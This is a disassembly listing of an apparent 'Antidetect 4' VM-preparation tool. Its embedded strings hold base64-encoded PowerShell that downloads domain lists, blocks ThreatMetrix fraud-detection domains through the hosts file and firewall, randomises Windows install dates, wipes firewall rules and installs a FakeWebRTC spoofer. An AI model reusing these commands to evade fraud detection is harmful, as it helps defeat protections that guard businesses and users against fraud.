call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0xd], 0
je 0x14011d3c0
mov edx, 0x639c956b
mov ecx, 0x615c59c1
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ebx, eax
mov edx, 0x68
lea rcx, str.reg_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion___v_InstallDate__t_REG_DWORD__d__1__f___nul_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1f0], rax
mov dl, 0x20
lea rcx, [rbp + 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x28], ax
mov dword [rsp + 0x20], 0xa
xor r9d, r9d
mov r8d, ebx
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_unsigned_int__int__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x248]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
movabs rax, 0x2b6109100
add rax, rbx
imul rbx, rax, 0x989680
mov edx, 0x68
lea rcx, str.reg_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion___v_InstallTime__t_REG_QWORD__d__1__f___nul_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1b8], rax
mov dl, 0x20
lea rcx, [rbp + 0xa8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x28], ax
mov dword [rsp + 0x20], 0xa
xor r9d, r9d
mov r8, rbx
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_unsigned_long_long_unsigned___int64___int__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, str.call__MY_VBOX_ADDITIONS_etc_network_test.cmd_
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
cmp byte [rsi + 0x12], 0
je 0x14011d3ea
lea rdx, str.powershell__encodedCommand_JABzAGUAcgB2AGUAcgBzACAAPQAgAEAAKAApADsAIAB0AHIAeQAgAHsAIAAkAHMAZQByAHYAZQByAHMAIAA9ACAAKABjAHUAcgBsACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AYQBuAHQAaQBkAGUAdABlAGMAdAAvAGwAaQBzAHQALwBtAGEAaQBuAC8AdABtAHgALQBkAG8AbQBhAGkAbgBzACkALgBDAG8AbgB0AGUAbgB0AC4AUwBwAGwAaQB0ACgAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATgBlAHcATABpAG4AZQAsACAAWwBTAHkAcwB0AGUAbQAuAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkAIAB9ACAAYwBhAHQAYwBoACAAewBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBGAGEAaQBsAGUAZAAgAHQAbwAgAGQAbwB3AG4AbABvAGEAZAAgAFQAaAByAGUAYQB0AE0AZQB0AHIAaQB4ACAAcwBlAHIAdgBlAHIAcwAgAGwAaQBzAHQAJwA7ACAARQB4AGkAdAB9ADsAIAAkAHMAdAByACAAPQAgACcAJwA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwBlAHIAdgBlAHIAIABpAG4AIAAkAHMAZQByAHYAZQByAHMAKQAgAHsAJABzAHQAcgAgACsAPQAgACIAMAAuADAALgAwAC4AMAAgACQAcwBlAHIAdgBlAHIAYAByAGAAbgAiAH0AOwAgAEEAZABkAC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgB3AGkAbgBkAGkAcgBcAHMAeQBzAHQAZQBtADMAMgBcAGQAcgBpAHYAZQByAHMAXABlAHQAYwBcAGgAbwBzAHQAcwAgAC0AVgBhAGwAdQBlACAAJABzAHQAcgA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAQgBsAG8AYwBrAGUAZAAnACAAJABzAGUAcgB2AGUAcgBzAC4ATABlAG4AZwB0AGgAIAAnAFQAaAByAGUAYQB0AE0AZQB0AHIAaQB4ACAAZABvAG0AYQBpAG4AcwAnAA_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
cmp byte [rsi + 0x1b], 0
je 0x14011d649
mov edx, 0x2f
lea rcx, str.All_network_protocols_except_TCP__UDP_Blocked_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x218], rax
mov edx, 0xc
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1d0], rax
mov edx, 9
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1c8], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1c0], rax
mov dl, 0x20
lea rcx, [rbp + 0xb8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1c8]
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xba]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x2b0]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xbc]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x218]
lea rdx, [rbp + 0x2b8]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x30], 0x4023
mov rdx, rbx
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
mov edi, 0x2023
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2a8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.netsh_advfirewall_firewall_delete_rule_all___nul__timeout_2___nul__netsh_advfirewall_set_allprofiles_firewallpolicy_blockinbound_blockoutbound___nul__netsh_advfirewall_firewall_add_rule_name_Allow_DNS_Outbound_TCP__dirout_actionallow_protocolTCP_remoteport53___nul__netsh_advfirewall_firewall_add_rule_name_Allow_DNS_Outbound_UDP__dirout_actionallow_protocolUDP_remoteport53___nul__netsh_advfirewall_firewall_add_rule_name_Allow_DNS_Inbound_TCP__dirin_actionallow_protocolTCP_remoteport53___nul__netsh_advfirewall_firewall_add_rule_name_Allow_DNS_Inbound_UDP__dirin_actionallow_protocolUDP_remoteport53___nul__netsh_advfirewall_firewall_add_rule_name_Allow_All_Outbound_TCP__dirout_actionallow_protocolTCP_localport0_65535_remoteport0_65535___nul__netsh_advfirewall_firewall_add_rule_name_Allow_All_Outbound_UDP__dirout_actionallow_protocolUDP_localport0_65535_remoteport0_65535___nul__netsh_advfirewall_firewall_add_rule_name_Allow_All_Inbound_TCP__dirin_actionallow_protocolTCP_localport0_65535_remoteport0_65535___nul__netsh_advfirewall_firewall_add_rule_name_Allow_All_Inbound_UDP__dirin_actionallow_protocolUDP_localport0_65535_remoteport0_65535___nul__netsh_advfirewall_firewall_add_rule_name_Block_Inbound_Local_Subnet__dirin_actionblock_remoteip192.168.0.0_16___nul__netsh_advfirewall_firewall_add_rule_name_Block_Outbound_Local_Subnet__dirout_actionblock_remoteip192.168.0.0_16___nul__netsh_advfirewall_firewall_add_rule_name_Allow_NTP_Outbound__dirout_actionallow_protocolUDP_remoteport123___nul__netsh_advfirewall_firewall_add_rule_name_Block_8.8.8.8__dirout_interfaceany_actionblock_remoteip8.8.8.8___nul__netsh_advfirewall_firewall_add_rule_name_Block_8.8.4.4__dirout_interfaceany_actionblock_remoteip8.8.4.4___nul__netsh_advfirewall_firewall_add_rule_name_Block_Local_Network_10.x.x.x__dirout_interfaceany_actionblock_remoteip10.0.0.0_10.255.255.255___nul__netsh_advfirewall_firewall_add_rule_name_Block_Multicast_Network_224.x.x.x__dirout_interfaceany_actionblock_remoteip224.0.0.0_224.255.255.255___nul__netsh_advfirewall_firewall_add_rule_name_Block_Multicast_Network_239.x.x.x__dirout_interfaceany_actionblock_remoteip239.0.0.0_239.255.255.255___nul__netsh_advfirewall_firewall_add_rule_name_Block_IPv6_Link_local_Inbound__dirin_actionblock_protocolany_remoteipfe80::_10___nul__netsh_advfirewall_firewall_add_rule_name_Block_IPv6_Link_local_Outbound__dirout_actionblock_protocolany_remoteipfe80::_10___nul__netsh_advfirewall_firewall_add_rule_name_Block_IPv6_Multicast_Inbound__dirin_actionblock_protocolany_remoteipff02::_16___nul__netsh_advfirewall_firewall_add_rule_name_Block_IPv6_Multicast_Outbound__dirout_actionblock_protocolany_remoteipff02::_16___nul_
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x30], 0xa023
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x30], 0x1a023
mov r8d, 0xffffffff
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x218]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x1a], 0
je 0x14011d661
lea rdx, str.echo_Installing_FakeWebRTC_xcopy__e__y__i__MY_VBOX_ADDITIONS_etcFakeWebRTC___programfiles_FakeWebRTC____nul__call___programfiles_FakeWebRTCdnscrypt_proxy_service_install.bat____nul_2_1__powershell__function_setRunAsAdmin__lnk__bytes___System.IO.File_::ReadAllBytes__lnk____bytes_0x15____bytes_0x15___bor_0x20___System.IO.File_::WriteAllBytes__lnk___bytes____start_userprofile_DesktopStart_FakeWebRTC.lnk___s_New_Object__COM_WScript.Shell_.CreateShortcut__start___s.TargetPathpowershell__s.Arguments_File____char_34___programfiles_FakeWebRTC_fake_webrtc_start.ps1___char_34__s.Save____setRunAsAdmin__start____stop_userprofile_DesktopStop_FakeWebRTC.lnk___s_New_Object__COM_WScript.Shell_.CreateShortcut__stop___s.TargetPathpowershell__s.Arguments_File____char_34___programfiles_FakeWebRTC_fake_webrtc_stop.ps1___char_34__s.Save____setRunAsAdmin__stop___r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.powershell__encodedCommand_JABsAGkAcwB0ACAAPQAgACgAYwB1AHIAbAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIABoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGEAbgB0AGkAZABlAHQAZQBjAHQALwBsAGkAcwB0AC8AbQBhAGkAbgAvAHQAZQBzAHQAMgApAC4AQwBvAG4AdABlAG4AdAAuAFMAcABsAGkAdAAoAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE4AZQB3AEwAaQBuAGUALAAgAFsAUwB5AHMAdABlAG0ALgBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBSAGUAbQBvAHYAZQBFAG0AcAB0AHkARQBuAHQAcgBpAGUAcwApADsAIAAkAHAAYQByAGEAbQBzACAAPQAgACIAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAZgBpAHIAZQB3AGEAbABsACAAYQBkAGQAIAByAHUAbABlACAAbgBhAG0AZQA9AEcAZQBuAGUAcgBpAGMAQgBsAG8AYwBrACAAZABpAHIAPQBvAHUAdAAgAGEAYwB0AGkAbwBuAD0AYgBsAG8AYwBrACAAcgBlAG0AbwB0AGUAaQBwAD0AIgAgACsAIABbAHMAeQBzAHQAZQBtAC4AUwB0AHIAaQBuAGcAXQA6ADoASgBvAGkAbgAoACIALAAiACwAIAAkAGwAaQBzAHQAKQA7ACAAJgAgACIAbgBlAHQAcwBoAC4AZQB4AGUAIgAgACQAcABhAHIAYQBtAHMALgBTAHAAbABpAHQAKAAiACAAIgApAA___nul_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
cmp byte [rsi + 0xe], 0
je 0x14011d8cf
mov edx, 0x11
lea rcx, str.IPv6_leak_Blocked
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0xe8], rax
mov edx, 0xc
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x230], rax
mov edx, 9
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x228], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x220], rax
mov dl, 0x20
lea rcx, [rbp + 0xbe]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x228]
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x220]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xc0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x290]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xc2]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x298]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts edi, 0x12
mov dword [rsp + 0x30], edi
mov rdx, rbx
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x12
bts edi, 0x11
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x298]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x290]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x288]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x220]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov r8d, 0xffffffff
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_41__actionblock_protocol41_dirout___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_43__actionblock_protocol43_dirout___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_44__actionblock_protocol44_dirout___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_58__actionblock_protocol58_dirout___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_59__actionblock_protocol59_dirout___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_60__actionblock_protocol60_dirout___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_41__actionblock_protocol41_dirin___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_43__actionblock_protocol43_dirin___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_44__actionblock_protocol44_dirin___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_58__actionblock_protocol58_dirin___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_59__actionblock_protocol59_dirin___nul__netsh_advfirewall_firewall_add_rule_name_IPv6_protocol_60__actionblock_protocol60_dirin___nul_
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts edi, 0x13
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts edi, 0x14
mov dword [rsp + 0x30], edi
mov r8d, 0xffffffff
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x280]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x280]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x14
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr edi, 0x13
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x228]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x230]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xe8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0xf], 0
je 0x14011d8e7
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
cmp byte [rsi + 0x10], 0
je 0x14011db61
mov edx, 0x1a
lea rcx, str.DNS_over_QUIC_Leak_Blocked
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x130], rax
mov edx, 0xc
lea rcx, str.Antidetect_4
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x108], rax
mov edx, 9
lea rcx, str.logo2.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x100], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0xf0], rax
mov dl, 0x20
lea rcx, [rbp + 0xc4]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xc6]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x328]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp - 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x320]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
bts edi, 0x16
mov dword [rsp + 0x30], edi
mov rdx, rbx
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr edi, 0x16
bts edi, 0x15
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x320]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x328]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x330]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov edx, 0xf3
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_DNS_QUIC_UDP_Block__protocoludp_remoteport80_443_dirout_actionblock___nul__netsh_advfirewall_firewall_add_rule_name_DNS_QUIC_UDP_Block__protocoludp_remoteport80_443_dirin_actionblock___nul_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0xf8], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts edi, 0x17
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts edi, 0x18
mov dword [rsp + 0x30], edi
mov r8d, 0xffffffff
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x338]
